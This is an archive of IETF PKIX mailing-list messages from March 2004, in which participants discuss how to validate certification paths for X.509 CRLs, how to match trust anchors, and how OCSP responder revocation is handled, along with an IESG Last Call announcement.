Received: from ambarisht40 (ns.malpani.biz [192.168.25.5]) by ns.malpani.biz (8.12.9/8.12.9) with ESMTP id i2NGG78C018305; Tue, 23 Mar 2004 08:16:07 -0800
From: "Ambarish Malpani" <[e-mail]>
To: "'Julien Stern'" <[e-mail]>, <[e-mail]>
Subject: RE: Current status of CRL validation ?
Date: Tue, 23 Mar 2004 08:14:17 -0800
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
In-Reply-To: <[e-mail]>
Importance: Normal
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Hi Julien,
    Responses inline.

Regards,
Ambarish 

> -----Original Message-----
> From: [e-mail] 
> [mailto:[e-mail]] On Behalf Of Julien Stern
> Sent: Tuesday, March 23, 2004 6:25 AM
> To: [e-mail]
> Subject: Re: Current status of CRL validation ?
> 
> 
> Santosh,
> 
> thank again for your quick reply.
> 
> Two more little questions, and I'll (probably) stop bothering :)
> 
> 1) According to what you said, a certificate could at the 
> same time be revoked or not revoked depending on your local 
> policy (more specifically depending on the path you choose) ? 
> That seems pretty weird... or did I misunderstood something ?

True. And not necessarily very weird. Certification paths are
like a directed graph.

Each certificate is a link in the graph from the CA to the certificate
holder. A single holder (could be a CA itself) can be certificated by
multiple Cas and can in turn certificate multiple certificate holders.

At a given instant, each CA gets to choose which of the links it
created are currently good (or not).

As a user (relying party), you get to choose which CAs you wish
to trust. You are trying to find a chain between a trusted CA and
the certificate holder that contains links that are currently deemed
good by the CA.

Okay. That was a mathematical description. A more real life example
is: I am trying to find out whether you are trustworthy or not. There
are folks that I trust, who may choose to trust other people. Who a
person trusts at any given time changes (based on their experiences with
that person).

At a given time, there will be some folks who will say that you are
trustworthy, others who will say that you are not and others who will
say that they don't personally know you and can't say anything about
you at all.

Depending on who I trust (the context), you could be both trustworthy
or not at the same time.

> 
> 2) When I download a CRL, can I check it's signature by 
> verifying the path only ONCE ? Or do I have to do it each 
> time I want to check a certificate ? If say, two S/MIME 
> clients, send me two certificates whose revocation 
> information are found in the same CRL, but with different 
> paths going to different trusted anchors, it seems to me that 
> I have to rebuild and recheck the path for the CRL each time ?

You can cache revocation information if you wish to. Once you have
created a path to trust a CA, you can keep that around for "some" time.
So you might not need to revalidate the path each time (depending on
your trust needs).

If two entities are certified by the same CA and both have valid
certificates at a certain instant in time, then both certificates
are valid at that instant if the CA is valid (with the appropriate
caveats to deal with Certificate Policies).


> 
> --
> Julien
> 



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2NGGEen086486; Tue, 23 Mar 2004 08:16:14 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2NGGEXU086484; Tue, 23 Mar 2004 08:16:14 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from ns.malpani.biz (adsl-63-194-89-166.dsl.snfc21.pacbell.net [63.194.89.166]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2NGGDi5086465 for <[e-mail]>; Tue, 23 Mar 2004 08:16:13 -0800 (PST) (envelope-from [e-mail])
Received: from ambu (nt1.malpani.biz [192.168.25.13]) by ns.malpani.biz (8.12.9/8.12.9) with ESMTP id i2NGG78C018304; Tue, 23 Mar 2004 08:16:07 -0800
Message-Id: <[e-mail]>
From: "Ambarish Malpani" <[e-mail]>
To: "'Julien Stern'" <[e-mail]>, <[e-mail]>
Subject: RE: Current status of CRL validation ?
Date: Tue, 23 Mar 2004 08:16:10 -0800
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Mailer: Microsoft Office Outlook, Build 11.0.5510
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Thread-Index: AcQQ7TZy9CwMn9+aQiCUmT977cPW/gAATvcg
In-Reply-To: <[e-mail]>
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Hi Julien,
    Responses inline.

Regards,
Ambarish 

> -----Original Message-----
> From: [e-mail] 
> [mailto:[e-mail]] On Behalf Of Julien Stern
> Sent: Tuesday, March 23, 2004 6:25 AM
> To: [e-mail]
> Subject: Re: Current status of CRL validation ?
> 
> 
> Santosh,
> 
> thank again for your quick reply.
> 
> Two more little questions, and I'll (probably) stop bothering :)
> 
> 1) According to what you said, a certificate could at the 
> same time be revoked or not revoked depending on your local 
> policy (more specifically depending on the path you choose) ? 
> That seems pretty weird... or did I misunderstood something ?

True. And not necessarily very weird. Certification paths are
like a directed graph.

Each certificate is a link in the graph from the CA to the certificate
holder. A single holder (could be a CA itself) can be certificated by
multiple Cas and can in turn certificate multiple certificate holders.

At a given instant, each CA gets to choose which of the links it
created are currently good (or not).

As a user (relying party), you get to choose which CAs you wish
to trust. You are trying to find a chain between a trusted CA and
the certificate holder that contains links that are currently deemed
good by the CA.

Okay. That was a mathematical description. A more real life example
is: I am trying to find out whether you are trustworthy or not. There
are folks that I trust, who may choose to trust other people. Who a
person trusts at any given time changes (based on their experiences with
that person).

At a given time, there will be some folks who will say that you are
trustworthy, others who will say that you are not and others who will
say that they don't personally know you and can't say anything about
you at all.

Depending on who I trust (the context), you could be both trustworthy
or not at the same time.

> 
> 2) When I download a CRL, can I check it's signature by 
> verifying the path only ONCE ? Or do I have to do it each 
> time I want to check a certificate ? If say, two S/MIME 
> clients, send me two certificates whose revocation 
> information are found in the same CRL, but with different 
> paths going to different trusted anchors, it seems to me that 
> I have to rebuild and recheck the path for the CRL each time ?

You can cache revocation information if you wish to. Once you have
created a path to trust a CA, you can keep that around for "some" time.
So you might not need to revalidate the path each time (depending on
your trust needs).

If two entities are certified by the same CA and both have valid
certificates at a certain instant in time, then both certificates
are valid at that instant if the CA is valid (with the appropriate
caveats to deal with Certificate Policies).


> 
> --
> Julien
> 



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2NG7FIg085879; Tue, 23 Mar 2004 08:07:15 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2NG7FIi085878; Tue, 23 Mar 2004 08:07:15 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from host13.websitesource.com (host13.websitesource.com [209.239.35.152]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2NG7Eab085872 for <[e-mail]>; Tue, 23 Mar 2004 08:07:14 -0800 (PST) (envelope-from [e-mail])
Received: from wchokhani3 (ttn-wc-129138.titan.com [198.232.129.138]) by host13.websitesource.com (8.12.10/8.12.10) with ESMTP id i2NG7FIu016613 for <[e-mail]>; Tue, 23 Mar 2004 11:07:16 -0500
From: "Santosh Chokhani" <[e-mail]>
To: <[e-mail]>
Subject: RE: Current status of CRL validation ?
Date: Tue, 23 Mar 2004 11:07:14 -0500
Message-ID: <003b01c410f0$e99136a0$[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4510
Importance: Normal
In-Reply-To: <[e-mail]>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id i2NG7Fab085873
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Julien:

See responses in-line in [].

-----Original Message-----
From: [e-mail] [mailto:[e-mail]] On
Behalf Of Julien Stern
Sent: Tuesday, March 23, 2004 9:25 AM
To: [e-mail]
Subject: Re: Current status of CRL validation ?



Santosh,

thank again for your quick reply.

Two more little questions, and I'll (probably) stop bothering :)

1) According to what you said, a certificate could at the same time be
revoked or not revoked depending on your local policy (more specifically
depending on the path you choose) ? That seems pretty weird... or did I
misunderstood something ?

[Yes, I meant that.  Also, due to the distributed nature of trust topology,
this is logical.  All it says that some trust links are broken, but others
are not.  It is like network of roads.  Just because some links are broken
and some paths are invalid that does not mean there not a path from point A
to point B.  Practically, there may be danger that the reason some paths are
valid is because of operational or communication problems, some
certificate(s) were not revoked.]

2) When I download a CRL, can I check it's signature by verifying the path
only ONCE ? Or do I have to do it each time I want to check a certificate ?
If say, two S/MIME clients, send me two certificates whose revocation
information are found in the same CRL, but with different paths going to
different trusted anchors, it seems to me that I have to rebuild and recheck
the path for the CRL each time ?

[Given that names are not Globally unique, you need to build the two paths
if the two trust anchor DNs are different]
--
Julien




Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2NEPQZU077045; Tue, 23 Mar 2004 06:25:26 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2NEPQk7077044; Tue, 23 Mar 2004 06:25:26 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from kraid.nerim.net (smtp-102-tuesday.nerim.net [62.4.16.102]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2NEPPI9077034 for <[e-mail]>; Tue, 23 Mar 2004 06:25:25 -0800 (PST) (envelope-from [e-mail])
Received: from jupiter.cry.pto (cryptolog.net1.nerim.net [80.65.224.225]) by kraid.nerim.net (Postfix) with ESMTP id 61426418C8 for <[e-mail]>; Tue, 23 Mar 2004 15:25:26 +0100 (CET)
Received: from localhost (localhost [127.0.0.1]) by jupiter.cry.pto (Postfix) with ESMTP id 5596640D1 for <[e-mail]>; Tue, 23 Mar 2004 15:25:26 +0100 (CET)
Received: from jupiter.cry.pto ([127.0.0.1]) by localhost (jupiter [127.0.0.1]) (amavisd-new, port 10024) with SMTP id 21348-08 for <[e-mail]>; Tue, 23 Mar 2004 15:25:26 +0100 (CET)
Received: from callisto.cry.pto (callisto.cry.pto [10.0.1.4]) by jupiter.cry.pto (Postfix) with SMTP id 1671A40CB for <[e-mail]>; Tue, 23 Mar 2004 15:25:26 +0100 (CET)
Received: by callisto.cry.pto (sSMTP sendmail emulation); Tue, 23 Mar 2004 15:25:26 +0100
From: "Julien Stern" <[e-mail]>
Date: Tue, 23 Mar 2004 15:25:26 +0100
To: [e-mail]
Subject: Re: Current status of CRL validation ?
Message-ID: <[e-mail]>
References: <[e-mail]> <004f01c410dc$2c0681d0$[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <004f01c410dc$2c0681d0$[e-mail]>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030314-p2 (Debian) at cryptolog.com
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Santosh,

thank again for your quick reply.

Two more little questions, and I'll (probably) stop bothering :)

1) According to what you said, a certificate could at the same time
be revoked or not revoked depending on your local policy (more
specifically depending on the path you choose) ? That seems pretty
weird... or did I misunderstood something ?

2) When I download a CRL, can I check it's signature by verifying the
path only ONCE ? Or do I have to do it each time I want to check a
certificate ? If say, two S/MIME clients, send me two certificates whose
revocation information are found in the same CRL, but with different
paths going to different trusted anchors, it seems to me that I have
to rebuild and recheck the path for the CRL each time ?

--
Julien



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2NDcmZe073430; Tue, 23 Mar 2004 05:38:48 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2NDcm5R073429; Tue, 23 Mar 2004 05:38:48 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from host13.websitesource.com (host13.websitesource.com [209.239.35.152]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2NDclvr073416 for <[e-mail]>; Tue, 23 Mar 2004 05:38:47 -0800 (PST) (envelope-from [e-mail])
Received: from wchokhani3 (ttn-wc-129201.titan.com [198.232.129.201]) by host13.websitesource.com (8.12.10/8.12.10) with ESMTP id i2NDclIu019683 for <[e-mail]>; Tue, 23 Mar 2004 08:38:48 -0500
From: "Santosh Chokhani" <[e-mail]>
To: <[e-mail]>
Subject: RE: Current status of CRL validation ?
Date: Tue, 23 Mar 2004 08:38:46 -0500
Message-ID: <004f01c410dc$2c0681d0$[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4510
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Importance: Normal
In-Reply-To: <[e-mail]>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id i2NDcmvr073423
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Julien:

Checking multiple contexts is a matter of local policy.

My reading of 3280 and X.509 is that if you find a path to be valid, you can
accept the certificate.  There is no need to check all possible paths.

Conversely, if you find a path to be specifically invalid (i.e., when a
certificate is revoked), neither standard addresses whether you should find
alternate paths.  In my opinion, if you tried to find an alternate path you
will be in compliance with the standard.  Similarly, if your client gave up
and said that path is invalid, in my opinion, you will be compliant with
both standards.  In other words, neither standard says you must validate all
paths.

I am not sure I understand your examples to comment on.  If you find a valid
certification path, you are fine even if an alternate path is invalid.

-----Original Message-----
From: [e-mail] [mailto:[e-mail]] On
Behalf Of Julien Stern
Sent: Tuesday, March 23, 2004 5:34 AM
To: [e-mail]
Subject: Re: Current status of CRL validation ?



Santosh,

thanks a lot for your reply.

One point still makes me very confused however.
With this verification system, it seems to me that a certificate is never
simply "revoked". It is always "revoked" in a particular context.

We wanted to attempt to test our validation algorithm in the following case,
but we now really do not know what we should except:

We have a user certificate C.
We reconstruct the paths to trust anchors.
Say the algorithms gives 2 candidate paths.

I) We start to verify the first path, it requires us to reconstruct paths to
verify the CRL. Say the reconstruction algorithm gives us 2 possible paths
to trust anchors.

Now, let us say that the first path does not have the matching DN, so we
ignore it. The second path validates all right

=> we conclude the certificate is not revoked (?)

II) Say that we started by verifying the second path. Now, the first CRL
path matches all the DN, and it turns out that the CRL issuer certificate is
revoked

=> what are we supposed to conclude ?

Sincerely,

--
Julien

On Mon, Mar 22, 2004 at 01:46:13PM -0500, Santosh Chokhani wrote:
> 
> Julien:
> 
> See responses in-line in [].
> 
> -----Original Message-----
> From: [e-mail] 
> [mailto:[e-mail]] On Behalf Of Julien Stern
> Sent: Monday, March 22, 2004 11:34 AM
> To: [e-mail]
> Subject: Current status of CRL validation ?
> 
> 
> 
> Dear list,
> 
> In November 2003, Santosh Chokhani raised a problem in the validation 
> of CRL paths. I was wondering what was the current status of CRL 
> validation
> 
> [My impression from informal discussions with RFC 3280 authors is that 
> they plan to add the text to 3280.  I am also drafting amendment to 
> X.509 Annex B]
> 
>  and also have a few questions:
> 
> My current understanding is the following:
> 
> We have two different setups
> 1) direct CRL (signed by the CA itself)
> 2) Indirect CRL (signed with a certificate signed with the CA itself
> 	+ a few other bindings in extensions (crlIssuer, etc)
> 
> [The indirect CRL issuer need not be issued a certificate by the CA 
> that issued the certificate whose status is being checked]
> 
> Santosh Chokhani suggested (I'm summarizing, see his post for the 
> exact
> words) that the path validating the certificate and the path validating
the
> CRL should have the same trust anchor and the same Issuer DNs one-by-one
> (expect for the last cert in case 2, of course).
> 
> [The same "trust anchor" should be changed to "the subject DN of the 
> trust anchors in the two paths should be identical.  This is to 
> account for when root uses separate keys for signing certificates and 
> CRLs and o account for root key rollover]
> 
> [The one-by-one matching should ignore self-issued certificates]
> 
> ["except for last certificate" should be replaced with the logic that 
> terminates the name matching when one of the path ends.  This permits 
> the CA to create subordinates for CRL issuance and permits CA to 
> nominate a higher authority to issue CRL]
> 
> Question 1: what is the status of this proposal ?
> 
> [See previous answer]
> 
> Question 2: How do you validate the cert path associated to the CRL ?
> 	Some of the certificates included in this path might have
> 	been revoked. Do you have to construct a third path to validate
> 	the CRL which has information on the certificates in the CRL
> 	validation path ? (And possibly a fourth, a fifth, etc ?)
> 
> [Certification path development and validation for CRL is no different 
> than path development for anything else.  Unless you can get an 
> authenticated public key to verify signature on a CRL, you are out of 
> luck]
> 
> Do you really have to through all the following to validate this 
> hypothetical 2 level scheme:
> 
> Let us say that I have
> - a Trust Anchor (CA1)
> - a subCA (CA2)
> - user certificates
> 
> CA1 -> CA2 -> Cert
> 
> To validate the chain, do I really have to:
> 1) start applying the X509 validation algorithm
> 2) obtain the CRL for CA2
> 3) reconstruct the path to validate the certificate which signs it.
> 4) start applying a new X509 validation algorithm to this new path
> 	+ the additional Trust Anchor and DN matching rules
> 5) Possibly repeat steps 3-4 until I find a path that I have already
> 	fully validated
> 6) verify the CRL and check that CA2 is not in.
> 7) obtain the CRL for user certificates
> 8) reconstruct the path to validate the certificate which signs it.
> 9) start applying a new X509 validation algorithm to this new path
> 	+ the additional Trust Anchor and DN matching rules
> 10) Possibly repeat steps 8-9 until I find a path that I have already
> 	fully validated
> 11) verify the CRL and check the certificate is not in.
> 
> [I do not have time to review if you listed everything, but the idea 
> is that you do need to develop paths for CRL.  There are efficiency 
> techniques one can use]
> 
> Question 3: How to you replace CRL processing by OCSP in X509 path
> 	validation ? In particular, how do you check that the OSCP server
> 	certificate has not been revoked if it is different that the CA one
?
> 
> [It is not different from other certification path validation issues.  
> Your local policy decides whether OCSP needs to start with the same 
> root.  The revocation status of OCSP server itself can be ignored if 
> no-check extension is present in the OCSP server certificate]
> 
> Thank you very much.
> 
> --
> Julien
> 
> 




Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2NAYFqr058896; Tue, 23 Mar 2004 02:34:15 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2NAYFHN058895; Tue, 23 Mar 2004 02:34:15 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from kraid.nerim.net (smtp-102-tuesday.nerim.net [62.4.16.102]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2NAYDlj058887 for <[e-mail]>; Tue, 23 Mar 2004 02:34:14 -0800 (PST) (envelope-from [e-mail])
Received: from jupiter.cry.pto (cryptolog.net1.nerim.net [80.65.224.225]) by kraid.nerim.net (Postfix) with ESMTP id 11FB9410A7 for <[e-mail]>; Tue, 23 Mar 2004 11:34:13 +0100 (CET)
Received: from localhost (localhost [127.0.0.1]) by jupiter.cry.pto (Postfix) with ESMTP id 138A540D1 for <[e-mail]>; Tue, 23 Mar 2004 11:34:13 +0100 (CET)
Received: from jupiter.cry.pto ([127.0.0.1]) by localhost (jupiter [127.0.0.1]) (amavisd-new, port 10024) with SMTP id 20035-01 for <[e-mail]>; Tue, 23 Mar 2004 11:34:12 +0100 (CET)
Received: from callisto.cry.pto (callisto.cry.pto [10.0.1.4]) by jupiter.cry.pto (Postfix) with SMTP id BB1AE40CB for <[e-mail]>; Tue, 23 Mar 2004 11:34:12 +0100 (CET)
Received: by callisto.cry.pto (sSMTP sendmail emulation); Tue, 23 Mar 2004 11:34:12 +0100
From: "Julien Stern" <[e-mail]>
Date: Tue, 23 Mar 2004 11:34:12 +0100
To: [e-mail]
Subject: Re: Current status of CRL validation ?
Message-ID: <[e-mail]>
References: <[e-mail]> <00d801c4103d$f331c070$[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <00d801c4103d$f331c070$[e-mail]>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030314-p2 (Debian) at cryptolog.com
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Santosh,

thanks a lot for your reply.

One point still makes me very confused however.
With this verification system, it seems to me that a certificate
is never simply "revoked". It is always "revoked" in a particular
context.

We wanted to attempt to test our validation algorithm in the
following case, but we now really do not know what we should except:

We have a user certificate C.
We reconstruct the paths to trust anchors.
Say the algorithms gives 2 candidate paths.

I) We start to verify the first path, it requires us to reconstruct
paths to verify the CRL. Say the reconstruction algorithm gives us 2
possible paths to trust anchors.

Now, let us say that the first path does not have the matching DN,
so we ignore it. The second path validates all right

=> we conclude the certificate is not revoked (?)

II) Say that we started by verifying the second path. Now, the first CRL
path matches all the DN, and it turns out that the CRL issuer
certificate is revoked

=> what are we supposed to conclude ?

Sincerely,

--
Julien

On Mon, Mar 22, 2004 at 01:46:13PM -0500, Santosh Chokhani wrote:
> 
> Julien:
> 
> See responses in-line in [].
> 
> -----Original Message-----
> From: [e-mail] [mailto:[e-mail]] On
> Behalf Of Julien Stern
> Sent: Monday, March 22, 2004 11:34 AM
> To: [e-mail]
> Subject: Current status of CRL validation ?
> 
> 
> 
> Dear list,
> 
> In November 2003, Santosh Chokhani raised a problem in the validation of CRL
> paths. I was wondering what was the current status of CRL validation
> 
> [My impression from informal discussions with RFC 3280 authors is that they
> plan to add the text to 3280.  I am also drafting amendment to X.509 Annex
> B]
> 
>  and also have a few questions:
> 
> My current understanding is the following:
> 
> We have two different setups
> 1) direct CRL (signed by the CA itself)
> 2) Indirect CRL (signed with a certificate signed with the CA itself
> 	+ a few other bindings in extensions (crlIssuer, etc)
> 
> [The indirect CRL issuer need not be issued a certificate by the CA that
> issued the certificate whose status is being checked]
> 
> Santosh Chokhani suggested (I'm summarizing, see his post for the exact
> words) that the path validating the certificate and the path validating the
> CRL should have the same trust anchor and the same Issuer DNs one-by-one
> (expect for the last cert in case 2, of course).
> 
> [The same "trust anchor" should be changed to "the subject DN of the trust
> anchors in the two paths should be identical.  This is to account for when
> root uses separate keys for signing certificates and CRLs and o account for
> root key rollover]
> 
> [The one-by-one matching should ignore self-issued certificates]
> 
> ["except for last certificate" should be replaced with the logic that
> terminates the name matching when one of the path ends.  This permits the CA
> to create subordinates for CRL issuance and permits CA to nominate a higher
> authority to issue CRL]
> 
> Question 1: what is the status of this proposal ?
> 
> [See previous answer]
> 
> Question 2: How do you validate the cert path associated to the CRL ?
> 	Some of the certificates included in this path might have
> 	been revoked. Do you have to construct a third path to validate
> 	the CRL which has information on the certificates in the CRL
> 	validation path ? (And possibly a fourth, a fifth, etc ?)
> 
> [Certification path development and validation for CRL is no different than
> path development for anything else.  Unless you can get an authenticated
> public key to verify signature on a CRL, you are out of luck]
> 
> Do you really have to through all the following to validate this
> hypothetical 2 level scheme:
> 
> Let us say that I have
> - a Trust Anchor (CA1)
> - a subCA (CA2)
> - user certificates
> 
> CA1 -> CA2 -> Cert
> 
> To validate the chain, do I really have to:
> 1) start applying the X509 validation algorithm
> 2) obtain the CRL for CA2
> 3) reconstruct the path to validate the certificate which signs it.
> 4) start applying a new X509 validation algorithm to this new path
> 	+ the additional Trust Anchor and DN matching rules
> 5) Possibly repeat steps 3-4 until I find a path that I have already
> 	fully validated
> 6) verify the CRL and check that CA2 is not in.
> 7) obtain the CRL for user certificates
> 8) reconstruct the path to validate the certificate which signs it.
> 9) start applying a new X509 validation algorithm to this new path
> 	+ the additional Trust Anchor and DN matching rules
> 10) Possibly repeat steps 8-9 until I find a path that I have already
> 	fully validated
> 11) verify the CRL and check the certificate is not in.
> 
> [I do not have time to review if you listed everything, but the idea is that
> you do need to develop paths for CRL.  There are efficiency techniques one
> can use]
> 
> Question 3: How to you replace CRL processing by OCSP in X509 path
> 	validation ? In particular, how do you check that the OSCP server
> 	certificate has not been revoked if it is different that the CA one
> ?
> 
> [It is not different from other certification path validation issues.  Your
> local policy decides whether OCSP needs to start with the same root.  The
> revocation status of OCSP server itself can be ignored if no-check extension
> is present in the OCSP server certificate]
> 
> Thank you very much.
> 
> --
> Julien
> 
> 



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2MJX5TB023315; Mon, 22 Mar 2004 11:33:05 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2MJX5tN023314; Mon, 22 Mar 2004 11:33:05 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2MJX4qt023304 for <[e-mail]>; Mon, 22 Mar 2004 11:33:05 -0800 (PST) (envelope-from [e-mail])
Received: from nobody by optimus.ietf.org with local (Exim 4.20) id 1B5VAb-0006Ss-6e; Mon, 22 Mar 2004 14:33:09 -0500
X-test-idtracker: no
To: IETF-Announce :;
From: The IESG <[e-mail]>
Subject: Last Call: 'Additional Algorithms and Identifiers for RSA  Cryptography for use in the Internet X.509 Public Key Infrastructure  Certificate and Certificate Revocation List (CRL) Profile' to  Proposed Standard 
Reply-to: [e-mail]
Message-Id: <[e-mail]>
Date: Mon, 22 Mar 2004 14:33:09 -0500
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

The IESG has received a request from the Public-Key Infrastructure (X.509) WG 
to consider the following document:

- 'Additional Algorithms and Identifiers for RSA Cryptography for use in the 
   Internet X.509 Public Key Infrastructure Certificate and Certificate 
   Revocation List (CRL) Profile '
   <draft-ietf-pkix-rsa-pkalgs-03.txt> as a Proposed Standard

The IESG plans to make a decision in the next few weeks, and solicits
final comments on this action.  Please send any comments to the
[e-mail] or [e-mail] mailing lists by 2004-04-05.

The file can be obtained via
http://www.ietf.org/internet-drafts/draft-ietf-pkix-rsa-pkalgs-03.txt



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2MIkGLL020113; Mon, 22 Mar 2004 10:46:16 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2MIkGKA020112; Mon, 22 Mar 2004 10:46:16 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mclean-vscan1.bah.com (mclean-vscan1.bah.com [156.80.3.61]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2MIkF86020103 for <[e-mail]>; Mon, 22 Mar 2004 10:46:15 -0800 (PST) (envelope-from [e-mail])
Received: from mclean-vscan1.bah.com (mclean-vscan1.bah.com [156.80.3.61]) by mclean-vscan1.bah.com (8.11.0/8.11.0) with SMTP id i2MIkC322910 for <[e-mail]>; Mon, 22 Mar 2004 13:46:12 -0500 (EST)
Received: from mclean-mail.usae.bah.com ([156.80.5.109]) by mclean-vscan1.bah.com (NAVGW 2.5.2.12) with SMTP id M2004032213461214268 for <[e-mail]>; Mon, 22 Mar 2004 13:46:12 -0500
Received: from wchokhani3 ([156.80.132.91]) by mclean-mail.usae.bah.com (Netscape Messaging Server 4.15) with ESMTP id HUZQT000.6V7 for <[e-mail]>; Mon, 22 Mar 2004 13:46:12 -0500 
From: "Santosh Chokhani" <[e-mail]>
To: <[e-mail]>
Subject: RE: Current status of CRL validation ?
Date: Mon, 22 Mar 2004 13:46:13 -0500
Message-ID: <00d801c4103d$f331c070$[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4510
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Importance: Normal
In-reply-to: <[e-mail]>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id i2MIkF86020107
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Julien:

See responses in-line in [].

-----Original Message-----
From: [e-mail] [mailto:[e-mail]] On
Behalf Of Julien Stern
Sent: Monday, March 22, 2004 11:34 AM
To: [e-mail]
Subject: Current status of CRL validation ?



Dear list,

In November 2003, Santosh Chokhani raised a problem in the validation of CRL
paths. I was wondering what was the current status of CRL validation

[My impression from informal discussions with RFC 3280 authors is that they
plan to add the text to 3280.  I am also drafting amendment to X.509 Annex
B]

 and also have a few questions:

My current understanding is the following:

We have two different setups
1) direct CRL (signed by the CA itself)
2) Indirect CRL (signed with a certificate signed with the CA itself
	+ a few other bindings in extensions (crlIssuer, etc)

[The indirect CRL issuer need not be issued a certificate by the CA that
issued the certificate whose status is being checked]

Santosh Chokhani suggested (I'm summarizing, see his post for the exact
